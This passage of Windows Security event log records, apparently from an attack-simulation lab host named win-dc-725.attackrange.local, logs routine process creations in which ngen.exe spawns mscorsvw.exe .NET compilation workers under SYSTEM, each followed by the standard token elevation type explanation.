user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255317 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1034 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9f0 -InterruptEvent 0 -NGENProcess 9d8 -Pipe a04 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255316 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess 9d8 -Pipe a00 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255315 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d8 -InterruptEvent 0 -NGENProcess 8ec -Pipe 9e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255314 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8ec -InterruptEvent 0 -NGENProcess 930 -Pipe 9f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255313 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d8 -InterruptEvent 0 -NGENProcess 930 -Pipe 9f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255312 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1140 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess 930 -Pipe 8e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255311 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 930 -Pipe 958 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255310 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9e0 -InterruptEvent 0 -NGENProcess 930 -Pipe 97c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255309 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb3c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d0 -InterruptEvent 0 -NGENProcess 930 -Pipe 9c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255308 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4ac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c4 -InterruptEvent 0 -NGENProcess 930 -Pipe 9bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255327 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a40 -InterruptEvent 0 -NGENProcess 9fc -Pipe a38 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255326 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9fc -InterruptEvent 0 -NGENProcess a2c -Pipe a3c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255325 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a2c -InterruptEvent 0 -NGENProcess 930 -Pipe a30 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255324 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9fc -InterruptEvent 0 -NGENProcess 930 -Pipe 9ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255323 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 984 -InterruptEvent 0 -NGENProcess 930 -Pipe a10 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255322 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a14 -InterruptEvent 0 -NGENProcess 930 -Pipe 9d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255321 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12f4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 930 -InterruptEvent 0 -NGENProcess 9c0 -Pipe a18 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255320 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess 930 -Pipe a08 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255319 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: 